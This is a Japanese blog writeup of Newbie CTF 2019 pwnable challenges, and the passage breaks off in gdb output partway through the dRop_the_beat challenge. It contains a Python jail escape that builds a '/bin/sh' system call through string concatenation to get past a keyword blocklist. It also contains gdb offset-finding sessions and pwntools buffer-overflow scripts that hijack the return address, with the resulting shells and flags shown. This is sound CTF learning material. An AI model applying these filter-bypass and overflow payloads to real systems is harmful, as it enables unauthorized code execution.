TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

Newbie CTF 2019 Writeup

Newbie CTF 2019 について

Newbie CTF 2019 が開催されました。
2019年11月02日午前0時~2019年11月03日午前0時(24時間)
※ 開始後に何度かサーバトラブルがあり、結局3時間延長となりました。

nctf.vulnerable.kr

韓国のCTFチームKorNewbieが主催のCTFです。 難易度は、結構低めでpicoCTFの400~500点ぐらいの難易度ぐらいという印象でした。 今回もチームで参加しました。チームメンバが4問解いてくれました。 結果は、14/566位で、11874点でした。 私も14問解くことができたので、そのWriteupを紹介します。

f:id:tsalvia:20191103124453p:plain

Newbie CTF 2019 Writeup(14問)

python_jail(Pwnable)

問題

Hi! Welcome to pyjail!
Escape Jail If you can!
Author: SPark
nc prob.vulnerable.kr 20001

解答例

netcatで接続すると、以下のようなメッセージが出てきました。

$ nc prob.vulnerable.kr 20001
Hi! Welcome to pyjail!
========================================================================
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to pyjail!")
    print("========================================================================")
    print(open(__file__).read())
    print("========================================================================")
    print("RUN")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("No!!!")
            return;
    else:
        exec(text)
if __name__ == "__main__":
    main()
========================================================================
RUN
>>> 

どうやらpythonから抜け出すことが目的のようです。 ただし、いくつかのキーワード(eval、exec、import、open、os、read、system、write)が禁止となっているようです。

色々と試しながら調整をしていると、 以下の入力で、各キーワードを回避しながらシェルを起動させることに成功しました。

__builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")')

実際に入力すると、以下のようになります。

$ nc prob.vulnerable.kr 20001
Hi! Welcome to pyjail!
========================================================================
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to pyjail!")
    print("========================================================================")
    print(open(__file__).read())
    print("========================================================================")
    print("RUN")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("No!!!")
            return;
    else:
        exec(text)
if __name__ == "__main__":
    main()
========================================================================
RUN
>>> __builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")')
id
uid=1000(python_jail) gid=1000(python_jail) groups=1000(python_jail)
cat /home/python_jail/flag
KorNewbie{H311o_h0w_@r3_y0u_d0lng?}

FLAG

KorNewbie{H311o_h0w_@r3_y0u_d0lng?}

babypwn(Pwnable)

問題

This Challenge remake...
i want many solve!!!
do you know Buffer Overflow???

nc prob.vulnerable.kr 20035
Author : 이도현

添付ファイル

  • babypwn

解答例

とりあえず、fileコマンドとchecksecコマンドを打ってみます。 問題文通り、バッファオーバーフローができそうです。

$ file babypwn 
babypwn: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=bba69da963702e6c7c0dbdcda99c6c050c1894e0, not stripped
$ checksec babypwn 
[*] '/root/workdir/babypwn/babypwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

Ghidraでも開いてみます。 getsのところでバッファオーバーフローさせて、flag2関数に呼び出せば、シェルが取れそうです。

f:id:tsalvia:20191103141254p:plain

次にgdb-pedaのpattcとpattoを使ってオーバーフローする場所を確かめます。 1032文字でオーバーフローするようです。

gdb-peda$ pattc 1100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA'
gdb-peda$ run
Starting program: /root/workdir/babypwn/babypwn 
How is the weather today? : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x44c 
RDX: 0x7ffff7dd59e0 --> 0x0 
RSI: 0x7ffffbb3 
RDI: 0x1 
RBP: 0x6e41286e412d6e41 ('An-An(An')
RSP: 0x7fffffffe4c8 ("DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
RIP: 0x400603 (<main+77>:       ret)
R8 : 0x6e417a2441792441 ('A$yA$zAn')
R9 : 0x41426e41736e4125 ('%AnsAnBA')
R10: 0x7ffff7dd26a0 --> 0x0 
R11: 0x246 
R12: 0x4004c0 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe5a0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4005f8 <main+66>:  call   0x400480 <printf@plt>
   0x4005fd <main+71>:  mov    eax,0x0
   0x400602 <main+76>:  leave  
=> 0x400603 <main+77>:  ret    
   0x400604 <flag1>:    push   rbp
   0x400605 <flag1+1>:  mov    rbp,rsp
   0x400608 <flag1+4>:  sub    rsp,0x10
   0x40060c <flag1+8>:  mov    DWORD PTR [rbp-0x4],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4c8 ("DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0008| 0x7fffffffe4d0 ("nEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0016| 0x7fffffffe4d8 ("AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0024| 0x7fffffffe4e0 ("1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0032| 0x7fffffffe4e8 ("n2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0040| 0x7fffffffe4f0 ("An3AnIAneAn4AnJAnfAn5AnKAngA")
0048| 0x7fffffffe4f8 ("eAn4AnJAnfAn5AnKAngA")
0056| 0x7fffffffe500 ("nfAn5AnKAngA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400603 in main ()
gdb-peda$ patto DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA
DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA found at offset: 1032
gdb-peda$ 

以下のようなスクリプトを作成しました。

from pwn import *

ARCH = "amd64"
FILE = "./babypwn"
LIBC = ""
HOST = "prob.vulnerable.kr"
PORT = 20035

def exploit(con, elf, libc, rop):
    flag_symbol = elf.symbols[b"flag2"]
    log.info("flag symbol: {}".format(hex(flag_symbol)))

    offset = 1032
    payload = b"A" * offset
    payload += pack(flag_symbol)
    log.info("payload: {}".format(payload))
    con.sendline(payload)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、シェルが取れました。

$ python exploit.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20035: Done
[*] '/root/workdir/babypwn/babypwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
[*] Loaded cached gadgets for './babypwn'
[*] flag symbol: 0x400636
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x06@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ id
uid=1000(babypwn) gid=1000(babypwn) groups=1000(babypwn)
$ cat /home/babypwn/flag
KorNewbie{Th1s_1S_R34L_Fl4g_C0ngr4tu14ti0n5!}$

FLAG

KorNewbie{Th1s_1S_R34L_Fl4g_C0ngr4tu14ti0n5!}

OneShot_OneKill(Pwnable)

問題

You have just one bullet.... kill him! Author: Y311J(신재욱)
nc prob.vulnerable.kr 20026

添付ファイル

  • oneshot_onekill

解答例

とりあえず、fileコマンドとchecksecコマンドを打ってみます。 バッファオーバーフローができそうです。

$ file oneshot_onekill 
oneshot_onekill: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=02fcb5d276e425265c5490b5d01b344bfbb2b7d1, not stripped
$ checksec oneshot_onekill 
[*] '/root/workdir/oneshot_onekill/oneshot_onekill'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

Ghidraでも開いてみます。 getsのところでバッファオーバーフローさせて、oneshot関数に呼び出せば、フラグが表示されそうです。

f:id:tsalvia:20191103151042p:plain

次にgdb-pedaのpattcとpattoを使ってオーバーフローする場所を確かめます。 304文字でオーバーフローするようです。

gdb-peda$ pattc 400
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'
gdb-peda$ run
Starting program: /root/workdir/oneshot_onekill/oneshot_onekill 
Do you know basic of BOF?
This prob is for newbie pwner, so it is x32 binary
This Environment has only ASLR and NX, NO other migitations
Can you Exploit it?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-
A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fcb000 --> 0x1a9da8 
ECX: 0xf7fcbb07 --> 0xfcc8980a 
EDX: 0xf7fcc898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x6825414c ('LA%h')
ESP: 0xffffd5e0 ("%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
EIP: 0x41372541 ('A%7A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41372541
[------------------------------------stack-------------------------------------]
0000| 0xffffd5e0 ("%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0004| 0xffffd5e4 ("iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0008| 0xffffd5e8 ("A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0012| 0xffffd5ec ("%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0016| 0xffffd5f0 ("9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0020| 0xffffd5f4 ("A%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0024| 0xffffd5f8 ("%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0028| 0xffffd5fc ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41372541 in ?? ()
gdb-peda$ patto 0x41372541
1094133057 found at offset: 304

以下のようなスクリプトを作成しました。

from pwn import *

ARCH = "i386"
FILE = "./oneshot_onekill"
LIBC = ""
HOST = "prob.vulnerable.kr"
PORT = 20026

def exploit(con, elf, libc, rop):
    oneshot_symbol = elf.symbols[b"oneshot"]
    log.info("oneshot symbol: {}".format(hex(oneshot_symbol)))

    offset = 304
    payload = b"A" * offset
    payload += pack(oneshot_symbol)
    log.info("payload: {}".format(payload))
    con.sendline(payload)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、フラグが表示されます。

$ python exploit.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20026: Done
[*] '/root/workdir/oneshot_onekill/oneshot_onekill'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] Loaded cached gadgets for './oneshot_onekill'
[*] oneshot symbol: 0x80485a5
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa5\x85\x04\x08'
[*] Switching to interactive mode
Do you know basic of BOF?
This prob is for newbie pwner, so it is x32 binary
This Environment has only ASLR and NX, NO other migitations
Can you Exploit it?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa5\x85\x0
KorNewbie{Nice_Sh0T_N3wbie_Pwner!$#}
:(....One Shot.. One Kill..[*] Got EOF while reading in interactive
$

FLAG

KorNewbie{Nice_Sh0T_N3wbie_Pwner!$#}

dRop_the_beat(Pwnable)

問題

dRop the Beat DJ!!
Author: Y311J(신재욱)
nc prob.vulnerable.kr 20002

添付ファイル

  • drop_the_beat_easy
  • libc.so.6

解答例

とりあえず、fileコマンドとchecksecコマンドを実行してみます。 32bitのELFファイルで、バッファオーバーフローもできそうです。

$ file drop_the_beat_easy libc.so.6 
drop_the_beat_easy: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=f939bdeeebda44feabe09476f2c6bbd6ed32c42a, not stripped
libc.so.6:          ELF 32-bit LSB  shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked (uses shared libs), BuildID[sha1]=9a6b57c7a4f93d7e54e61bccb7df996c8bc58141, for GNU/Linux 2.6.32, stripped
$ checksec drop_the_beat_easy libc.so.6 
[*] '/root/workdir/drop/drop_the_beat_easy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/root/workdir/drop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

次にGhidraでデコンパイルしてみました。39行目のところでバッファローできそうです。 ただし、今回は、呼び出してフラグが表示されそうな関数は見当たりませんでした。

f:id:tsalvia:20191104160013p:plain

今回は、libcファイルが提供されています。 提供されたlibcファイルでROPチェインを作成し、シェルを起動させる方針で進めていきます。

やるべき作業は、以下の3点です。

  1. バッファオーバーフロー位置の特定
  2. libcのベースアドレスの特定
  3. ROPチェインの作成

まずは、gdb-pedaのpattcとpattoでバッファオーバーフロー位置を特定します。

gdb-peda$ pattc 400
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'
gdb-peda$ run
Starting program: /root/workdir/drop/drop_the_beat_easy 
      dP  888888ba   .88888.   888888ba       dP   dP                   dP                           dP   
      88  88    `8b d8'   `8b  88    `8b      88   88                   88                           88   
.d888b88 a88aaaa8P' 88     88 a88aaaa8P'    d8888P 88d888b. .d8888b.    88d888b. .d8888b. .d8888b. d8888P 
88'  `88  88   `8b. 88     88  88             88   88'  `88 88ooood8    88'  `88 88ooood8 88'  `88   88   
88.  .88  88     88 Y8.   .8P  88             88   88    88 88.  ...    88.  .88 88.  ... 88.  .88   88   
`88888P8  dP     dP  `8888P'   dP             dP   dP    dP `88888P'    88Y8888' `88888P' `88888P8   dP   
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

dROP The beat(easy version)

1) Give Him a Beat!
2) No Beat For You..!
1
Give Me a Beat!!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-
A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fcb000 --> 0x1a9da8 
ECX: 0xf7fcbb07 --> 0xfcc8980a 
EDX: 0xf7fcc898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41684141 ('AAhA')
ESP: 0xffffd5f0 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\
377\243\336\377\377"...)
EIP: 0x41413741 ('A7AA')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41413741
[------------------------------------stack-------------------------------------]
0000| 0xffffd5f0 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377
\377\243\336\377\377"...)
0004| 0xffffd5f4 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377
\243\336\377\377\262\336\377\377"...)
0008| 0xffffd5f8 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377"...)
0012| 0xffffd5fc ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377"...)
0016| 0xffffd600 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377"...)
